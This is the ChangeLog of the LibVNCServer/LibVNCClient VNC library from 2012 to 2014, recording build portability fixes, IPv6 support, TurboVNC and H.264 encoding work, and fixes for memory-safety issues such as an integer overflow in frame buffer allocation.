* libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
guards To support Microsoft Visual C++, we must not guard Windows-specific
code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
can use that instead. [JES: fixed commit message, reordered commit, split out unrelated
changes] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* compat/msvc/stdint.h, compat/msvc/sys/time.h,
compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: can incorporate it because it is licensed under the 3-clause BSD
license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/vncviewer.c: Include Winsock2 header before windows.h
include That's because there are duplicate #defines, and when Winsock2 is
defined before windows.h then windows.h detects that and prevent
redefinition. See[JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-26 dscho <>
* : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
2014-08-18 Nicolas Ruff <>
* libvncserver/rfbserver.c: Check malloc() return value on
client->server ClientCutText message. Client can send up to 2**32-1
bytes of text, and such a large allocation is likely to fail in case
of high memory pressure. This would in a server crash (write at
address 0).
2014-08-16 dscho <>
* : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
2014-08-16 Johannes Schindelin <>
* acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <>
2014-08-10 Luca Falavigna <>
* acinclude.m4: Enable support for ppc64el architecture
2014-08-10 Luca Falavigna <>
*, Use Libs.private to avoid
unnecessary linkage
2014-08-16 Johannes Schindelin <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <>
2014-08-16 dscho <>
* : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
2014-08-15 newsoft <newsoft@MacBook-Air-de-newsoft-2.local>
* libvncclient/vncviewer.c: Fix integer overflow in
MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
frame buffer allocation for very large screen sizes
2013-09-28 Amandeep Singh <>
* libvncserver/sockets.c: allow rfbInitSockets with non-ready
states. This allows for reinitializations of e. g. sockets in a SHUTDOWN
state. The only state that doesn't make sense to reinitialize are
READY states.
2013-10-09 Amandeep Singh <>
* libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
rfbClientConnectionGone call missing
2014-07-10 Will Thompson <>
* x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
and currently calls X_UNLOCK on behalf of the caller. But in
practice, all callers assume that the lock is still held after
check_xrandr_event() returns. In particular, this leads to a
double-unlock and crash in check_xevents() on any xrandr event.
2014-07-18 dscho <>
* : Merge pull request #13 from
wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
2014-06-27 Johannes Schindelin <>
* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
Oberhumer LZO (CVE-2014-4607): This was also reported by Alex Xu as Signed-off-by: Johannes Schindelin <>
2014-06-23 dscho <>
* : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
2014-06-23 Matthias Treydte <>
* libvncclient/rfbproto.c: Initialize padding in
SetFormatAndEncodings' rfbSetPixelFormatMsg.
2014-06-23 Matthias Treydte <>
* CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within
another project, and should change nothing when compiled alone. For example when having a directory structure like
"my_project/external/libvnc", where in libvnc resides a checkout of
libvncserver, one can just reference that directory from the
CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
one can just hack away without having to manually make / install
LibVNCServer whenever something is changed there.
2014-05-14 dscho <>
* : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
2014-04-05 Johannes Schindelin <>
* libvncclient/rfbproto.c: libvncclient: If we have TLS support,
enable VeNCrypt by default Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore the vencrypt document Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
TigerVNC: Johannes Schindelin <>
2014-03-29 Johannes Schindelin <>
* examples/repeater.c: Repeater example: show how to shut down
cleanly Since we connected to the client through the repeater, chances are
that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <>
2014-03-29 Johannes Schindelin <>
* .gitignore, examples/, examples/repeater.c: Add an
example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
with a so-called repeater (e.g. to bridge firewalled clients and
servers): This example demonstrates how to use that feature with a
LibVNCServer-based server. Signed-off-by: Johannes Schindelin <>
2014-04-05 Christian Beier <>
*, webclients/novnc/,
webclients/novnc/vnc.html: Update sourceforge links to point to
2014-03-31 Johannes Schindelin <>
* libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <>
2014-03-30 Johannes Schindelin <>
* .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
downloaded manually from Signed-off-by: Johannes Schindelin <>
2014-03-30 Robbert Klarenbeek <>
* libvncclient/vncviewer.c: Address #12 ClientData does not get
freed rfbClientSetClientData() allocates a new rfbClientData, but never
gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <>
2014-03-30 Johannes Schindelin <>
* examples/example.c, test/encodingstest.c: After free()ing
clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <>
2013-02-27 Joel Martin <>
* libvncserver/websockets.c: Set opcode correctly for binary frames.
2013-01-25 Christian Beier <>
* rfb/rfbproto.h: Remove unneeded #ifdefs.
2013-01-25 Christian Beier <>
* rfb/rfbclient.h: Fix ABI compatibility issue.
2013-01-09 David Verbeiren <>
* client_examples/gtkvncviewer.c,,
libvncclient/, libvncclient/h264.c,
libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
updates This patch implements support in LibVNCClient for framebuffer
updates encoded as H.264 frames. Hardware accelerated decoding is
performed using VA API. This is experimental support to let the community explore the
possibilities offered by the potential bandwidth and latency
reductions that H.264 encoding allows. This may be particularly
useful for use cases such as online gaming, hosted desktops, hosted
set top boxes... This patch only provides the client side support and is meant to be
used with corresponding server-side support, as provided by an
upcoming patch for qemu ui/vnc module (to view the display of a
virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update
messages are generated for a single server framebuffer modification,
the H.264 frame data is sent only with the first update message.
Subsequent update framebuffer messages will contain only the
coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I
submitted with minor enhancements to the gtkvncviewer application: * Currently only works with libva 1.0: use branch "v1.0-branch" for
libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./ make sudo make install cd .. git clone git:// cd intel-driver git checkout v1.0-branch ./ make sudo make install Signed-off-by: David Verbeiren <>
2013-01-08 David Verbeiren <>
* client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer.
2012-09-14 Christian Beier <>
* AUTHORS: Add Raphael to AUTHORS.
2012-09-11 Raphael Kubo da Costa <>
* libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Work around a gcc bug with anonymous
structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly
because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
but works. [1]
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Add the required headers for read(2)
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt,, libvncserver/websockets.c,
rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
websocket.c. byteswap.h exists only on glibc, so building libvncserver with
websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with
calls to htobeNN, which should perform the same conversions, be more
portable and avoid the need to check for the platform's endianness.
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt, Do not hardcode the need for
libresolv. libresolv is only present on systems which use glibc; platforms such
as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it
exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
after performing the necessary tests, since we do not always want to
link against libresolv.
2012-09-11 Raphael Kubo da Costa <>
* common/vncauth.c, libvncclient/rfbproto.c,
libvncclient/sockets.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/websockets.c: Tune the definitions needed when building
with -ansi. The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation. However, this means other platforms still had problems when building
with strict compilation flags. _BSD_SOURCE, for example, is only
recognized by glibc, and other platforms sometimes need
_XOPEN_SOURCE instead, or even the removal of some definitions (such
as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places,
as what it enables or disables during compilation varies across
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/sockets.c, libvncserver/websockets.c: Add some
missing feature macro definitions. Building with -ansi failed due to some code (as well as system
headers) using non-C89 features. Fix that by adding the usual
_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
other files.
2012-09-11 Raphael Kubo da Costa <>
* common/turbojpeg.c, libvncserver/tight.c,
libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
code. Using C++-style comments when building the code with -ansi does not
work, so be more conservative with the comment style.
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to
the compiler, so including that file fails.
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it
directly; this caused linking problems for the client and server
examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless
of whether it has been found or not has not been touched by this
commit, though.
2012-08-19 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update noVNC webclient.
2012-08-19 Christian Beier <>
2012-08-08 Oliver Loch <>
* libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
without IPv4. As requested only those lines are indented that have been changed.
2012-07-20 Johannes Schindelin <>
* AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <>
2012-07-19 Rostislav Lisovy <>
* libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
conversion Signed-off-by: Rostislav Lisovy <> Signed-off-by:
Johannes Schindelin <>
2012-05-31 Christian Beier <>
* libvncserver/config.h, libvncserver/rfbconfig.h: Remove
autogenerated files from repo.
2012-05-23 Christian Beier <>
* CMakeLists.txt,, rfb/rfbconfig.h.cmake: Add Compile
Time Version Test Defines.
2012-05-18 Kyle J. McKay <>
* libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
when listenSock/listen6Sock == -1
2012-05-09 Christian Beier <>
* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
too unimportant errors.
2012-05-07 Christian Beier <>
* TODO: Update TODO.
2012-05-07 Luca Falavigna <>
* test/encodingstest.c: Encodingstest: Use format string argument
with fprintf.
2012-05-05 Christian Beier <>
* CMakeLists.txt, Bump version to 0.9.10.
2012-05-04 Christian Beier <>
* ChangeLog: Update ChangeLog for 0.9.9.
2012-05-04 Christian Beier <>
* Enable building DLLs with MinGW32.
2012-05-04 Christian Beier <>
* NEWS: Update NEWS for 0.9.9.
2012-05-03 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: #undef these types in case
it's WIN32. The various other headers include windows.h and the winsock headers
which give an error when SOCKET and socklen_t are already defined.
2012-05-03 Christian Beier <>
* rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff.
2012-04-30 Christian Beier <>
* libvncserver/ LibVNCServer: Prefer GnuTLS over OpenSSL
to be in sync with LibVNCClient.
2012-04-30 Christian Beier <>
* libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib
related build fixes.
2012-04-30 Christian Beier <>
* Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules.
2012-04-30 Christian Beier <>
* libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG
stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It
still uses JPEG rects as well. Theoretically, we could build
TightPNG with only libpng and libjpeg - without zlib - but libpng
depends on zlib, so this is kinda moot.
2012-04-27 Christian Beier <>
* test/ Only build libjpeg test programs if libjpeg is
actually available.
2012-04-26 Christian Beier <>
* CMakeLists.txt: Fix CMake build of LibVNCClient.
2012-04-26 Christian Beier <>
* libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning.
2012-04-26 Christian Beier <>
* Fix build when no libjpeg is available.
2012-04-26 Christian Beier <>
* examples/android/, libvncserver/ Include
some more missing files for make dist.
2012-04-25 Christian Beier <>
* libvncserver/ Include missing files for make dist.
2012-04-25 Christian Beier <>
* libvncclient/ Fix libvncclient make dist.
2012-04-25 Christian Beier <>
* Better check for Linux build.
2012-04-25 Christian Beier <>
* vncterm/ Binaries that are to be installed should be
all lowercase.
2012-04-25 Christian Beier <>
* CMakeLists.txt, Bump version to 0.9.9.
2012-04-25 Christian Beier <>
* common/turbojpeg.c, libvncserver/rfbserver.c,
libvncserver/websockets.c, test/tjbench.c: Fix some compiler
warnings thrown with newer gcc.
2012-04-25 Christian Beier <>
* test/ Fix turbojpeg tests compilation.
2012-04-25 DRC <>
* common/turbojpeg.c: Fix compilation with some libjpeg
2012-04-22 Monkey <>
* libvncclient/rfbproto.c: Added support for UltraVNC Single Click
as originally proposed by Noobius (Boobius) on 6/1/11. Original thread:
2012-04-15 Christian Beier <>
* AUTHORS: Add Philip to AUTHORS.
2012-04-15 Christian Beier <>
* libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS
library available.
2012-04-15 Christian Beier <>
* libvncclient/tls_openssl.c: LibVNCClient: properly free the
openssl session stuff on shutdown.
2012-04-15 Christian Beier <>
* libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS
#ifdefs and move GnuTLS specific functionality into tls_gnutls.c.
2012-04-14 Christian Beier <>
* Unify GnuTLS vs OpenSSL build systems stuff between
libvncclient and libvncserver.
2012-04-14 Christian Beier <>
* libvncclient/, libvncclient/tls.c,
libvncclient/tls_gnutls.c, libvncclient/tls_none.c,
libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version
to the build system.
2012-04-12 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib.
2012-04-12 Christian Beier <>
* libvncserver/tight.c: Make TurboVNC compress level 3 actually
2012-04-09 DRC <>
* common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace
emulation code, which is only active when using regular libjpeg (not
libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin <>
2012-04-02 Christian Beier <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for
LibVNCServer, part four: add copyright notices to files with
non-trivial changes.
2012-03-29 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows
keys correctly Signed-off-by: Johannes Schindelin <>
2012-03-29 Johannes Schindelin <>
* .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <>
2012-03-29 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP
issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if
the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that
both SDL and X11 keysyms were created with ASCII compatibility in
mind. So as long as we type ASCII symbols, we can map things
trivially. Signed-off-by: Johannes Schindelin <>
2012-03-23 DRC <>
* CMakeLists.txt: Extend support for the new TurboVNC encoder to the
CMake build system
2012-03-25 DRC <>
* common/turbojpeg.c, common/turbojpeg.h,,
libvncserver/, libvncserver/rfbserver.c,
libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h,
rfb/rfbproto.h, test/, test/bmp.c, test/bmp.h,
test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h:
Replace TightVNC encoder with TurboVNC encoder. This patch is the
result of further research and discussion that revealed the
following: -- TightPng encoding and the rfbTightNoZlib extension need not
conflict. Since TightPng is a separate encoding type, not supported
by TurboVNC-compatible viewers, then the rfbTightNoZlib extension
can be used solely whenever the encoding type is Tight and disabled
with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically
useless. On the set of 20 low-level datasets that were used to
design the TurboVNC encoder (these include the eight 2D application
captures that were also used when designing the TightVNC encoder, as
well as 12 3D application captures provided by the VirtualGL
Project-- see,
moving from Compression Level (CL) 5 to CL 9 in the TightVNC
encoder did not increase the compression ratio of any datasets more
than 10%, and the compression ratio only increased by more than 5%
on four of them. The compression ratio actually decreased a few
percent on five of them. In exchange for this paltry increase in
compression ratio, the CPU usage, on average, went up by a factor of
5. Thus, for all intents and purposes, TightVNC CL 5 provides the
"best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video
workloads significantly more "tightly" than TightVNC CL 5 (~70%
better, in the aggregate) but does not quite achieve the same level
of compression with 2D workloads (~20% worse, in the aggregate.)
This decrease in compression ratio may or may not be noticeable,
since many of the datasets it affects are not performance-critical
(such as the console output of a compilation, etc.) However, for
peace of mind, it was still desirable to have a mode that compressed
with equal "tightness" to TightVNC CL 5, since we proposed to
replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces,
in the aggregate, similar compression ratios on 2D datasets as
TightVNC CL 5. That new mode involves using Zlib level 7 (the same
level used by TightVNC CL 5) but setting the "palette threshold" to
256, so that indexed color encoding is used whenever possible. This
mode reduces bandwidth only marginally (typically 10-20%) relative
to TurboVNC CL 2 on low-color workloads, in exchange for nearly
doubling CPU usage, and it does not benefit high-color workloads at
all (since those are usually encoded with JPEG.) However, it
provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for
3D/video workloads, and without using any more CPU time than
necessary. -- The TurboVNC encoder still performs as well or better than the
TightVNC encoder when plain libjpeg is used instead of
libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
can be used with plain libjpeg as well. This required updating the
TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
mainly because the TurboJPEG 1.2 API handles pixel formats in a much
cleaner way, which made the conversion code easier to write. It
also eases the maintenance to have the wrapper synced as much as
possible with the upstream code base (so I can merge any relevant
bug fixes that are discovered upstream.) The libvncserver version of
the TurboJPEG wrapper is a "lite" version, containing only the JPEG
compression/decompression code and not the lossless transform, YUV
encoding/decoding, and dynamic buffer allocation features from
TurboJPEG 1.2. Removed the --with-turbovnc option. configure still
checks for the presence of libjpeg-turbo, but only for the purposes
of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
patch. We cannot use tightQualityLevel for the TurboVNC 1-100
quality level, because tightQualityLevel is also used by ZRLE.
Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix
afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the
TurboVNC encoder. Relative to the initial TurboVNC encoder patch,
this patch also: -- Adds TightPng support to the TurboVNC encoder --
Adds the afore-mentioned low-bandwidth mode, which is mapped
externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
wrapper) as well as TJBench (a benchmark for same.) These are
useful for ensuring that the wrapper still functions correctly and
performantly if it needs to be modified for whatever reason. Both
of these programs are derived from libjpeg-turbo 1.2.0. As with the
TurboJPEG wrapper, they do not contain the more advanced features of
TurboJPEG 1.2, such as YUV encoding/decoding and lossless
2012-03-15 Christian Beier <>
2012-03-15 Christian Beier <>
* rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
struct. Try to not break ABI between releases. Even if the code gets ugly...
2012-03-10 DRC <>
* x11vnc/ Fix the build of x11vnc when an out-of-tree
build directory is used
2012-03-10 DRC <>
* libvncserver/rfbserver.c: Fix an issue that affects the existing
Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is
impossible to disable Tight JPEG encoding. The way Tight/Turbo
viewers disable JPEG encoding is by simply not sending the Tight
quality value, causing the server to use the default value of -1.
Thus, cl->tightQualityLevel has to be set to -1 prior to processing
the encodings message for this mechanism to work. Similarly, it is
not guaranteed that the compress level will be set in the encodings
message, so it is set to a default value prior to processing the
2012-03-10 DRC <>
* common/turbojpeg.c, common/turbojpeg.h,,
libvncserver/, libvncserver/rfbserver.c,
libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC
encoding support. TurboVNC is a variant of TightVNC that uses the same client/server
protocol (RFB version 3.8t), and thus it is fully cross-compatible
with TightVNC and TigerVNC (with one exception, which is noted
below.) Both the TightVNC and TurboVNC encoders analyze each
rectangle, pick out regions of solid color to send separately, and
send the remaining subrectangles using mono, indexed color, JPEG, or
raw encoding, depending on the number of colors in the subrectangle.
However, TurboVNC uses a fundamentally different selection algorithm
to determine the appropriate subencoding to use for each
subrectangle. Thus, while it sends a protocol stream that can be
decoded by any TightVNC-compatible viewer, the mix of subencoding
types in this protocol stream will be different from those generated
by a TightVNC server. The research that led to TurboVNC is described in the following
report: In
summary: 20 RFB captures, representing "common" 2D and 3D
application workloads (the 3D workloads were run using VirtualGL),
were studied using the TightVNC encoder in isolation. Some of the
analysis features in the TightVNC encoder, such as smoothness
detection, were found to generate a lot of CPU usage with little or
no benefit in compression, so those features were disabled. JPEG
encoding was accelerated using libjpeg-turbo (which achieves a 2-4x
speedup over plain libjpeg on modern x86 or ARM processors.)
Finally, the "palette threshold" (minimum number of colors that the
subrectangle must have before it is compressed using JPEG or raw)
was adjusted to account for the fact that JPEG encoding is now quite
a bit faster (meaning that we can now use it more without a CPU
penalty.) TurboVNC has additional optimizations, such as the
ability to count colors and encode JPEG images directly from the
framebuffer without first translating the pixels into RGB. The
TurboVNC encoder compares quite favorably in terms of compression
ratio with TightVNC and generally encodes a great deal faster (often
an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is
roughly equivalent to the one found in version 0.6 of the Unix
TurboVNC Server, with a few minor patches integrated from TurboVNC
1.1. TurboVNC 1.0 added multi-threading capabilities, which can be
added in later if desired (at the expense of making libvncserver
depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings
than TightVNC, because it uses the identical protocol (and thus a
viewer really has no idea whether it's talking to a TightVNC or
TurboVNC server), and because it doesn't support rfbTightPng (and in
fact conflicts with it-- see below), the TurboVNC and TightVNC
encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with
a TightVNC server, and vice versa. TurboVNC supports
pseudo-encodings for specifying a fine-grained (1-100) quality scale
and specifying chrominance subsampling. If a TurboVNC viewer sends
those to a TightVNC server, then the TightVNC server ignores them,
so the TurboVNC viewer also sends the quality on a 0-9 scale that
the TightVNC server can understand. Similarly, the TurboVNC server
checks first for fine-grained quality and subsampling
pseudo-encodings from the viewer, and failing to receive those, it
then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and
that is when a TightVNC or TigerVNC viewer requests compression
level 0 without JPEG from a TurboVNC server. For performance
reasons, this causes the TurboVNC server to send images directly to
the viewer, bypassing Zlib. When the TurboVNC server does this, it
also sets bits 7-4 in the compression control byte to rfbTightNoZlib
(0x0A), which is unfortunately the same value as rfbTightPng. Older
TightVNC viewers that don't handle PNG will assume that the stream
is uncompressed but still encapsulated in a Zlib structure, whereas
newer PNG-supporting TightVNC viewers will assume that the stream is
PNG. In either case, the viewer will probably crash. Since most
VNC viewers don't expose compression level 0 in the GUI, this is a
relatively rare situation. Description of changes: -- Added support for libjpeg-turbo. If passed an
argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines
whether the libjpeg library being used is libjpeg-turbo.
libjpeg-turbo must be used when building the TurboVNC encoder,
because the TurboVNC encoder relies on the libjpeg-turbo
colorspace extensions in order to compress images directly out of
the framebuffer (which may be, for instance, BGRA rather than RGB.)
libjpeg-turbo can optionally be used with the TightVNC encoder as
well, but the speedup will only be marginal (the report linked above
explains why in more detail, but basically it's because of Amdahl's
Law. The TightVNC encoder was designed with the assumption that
JPEG had a very high CPU cost, and thus JPEG is used only
sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This
is necessitated by the fact that libjpeg-turbo often distributes
libjpeg.a and in /opt/libjpeg-turbo/lib32 or
/opt/libjpeg-turbo/lib64, and many people prefer to statically
link with it. Thus, more flexibility is needed than is provided by
--with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the
changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is
still used to set the include path.) The addition of JPEG_LDFLAGS
necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because
AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we
want if we're, for instance, linking statically with libjpeg-turbo.)
-- configure does not check for PNG support if TurboVNC encoding is
enabled. This prevents the rfbSendRectEncodingTightPng() function
from being compiled in, since the TurboVNC encoder doesn't (and
can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API
used to compress and decompress JPEG images in memory. It was
originally implemented because it was desirable to use different
types of underlying technologies to compress JPEG on different
platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel
Performance Primitives, etc.) These days, however, libjpeg-turbo
is the only underlying technology used by TurboVNC, so TurboJPEG's
purpose is largely just code simplicity and flexibility. Thus,
since there is no real need for libvncserver to use any technology
other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper
for libjpeg-turbo has been included in-tree so that libvncserver can
be directly linked with libjpeg-turbo. This is convenient because
many modern Linux distros (Fedora, Ubuntu, etc.) now ship
libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC
fine-grained quality level and subsampling encodings and to map
Tight (0-9) quality levels to appropriate fine-grained quality level
and subsampling values if communicating with a TightVNC/TigerVNC
viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of
libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality
level and subsampling encodings as well as the rfbTightNoZlib
constant and notes on its usage.
2012-03-10 Christian Beier <>
* client_examples/SDLvncviewer.c, libvncclient/listen.c,
libvncclient/sockets.c, libvncclient/vncviewer.c,
libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for
LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces
some changes on the client side as well to make clients listen on
IPv6 sockets, too. Like the server side, this also uses a
separate-socket approach.
2012-03-10 Christian Beier <>
* libvncserver/sockets.c: IPv6 support for LibVNCServer, part
onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the
2012-03-09 Christian Beier <>
* webclients/index.vnc: IPv6 support for LibVNCServer, part
twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in
document.location.hostname, so add them if missing.
2012-02-27 Christian Beier <>
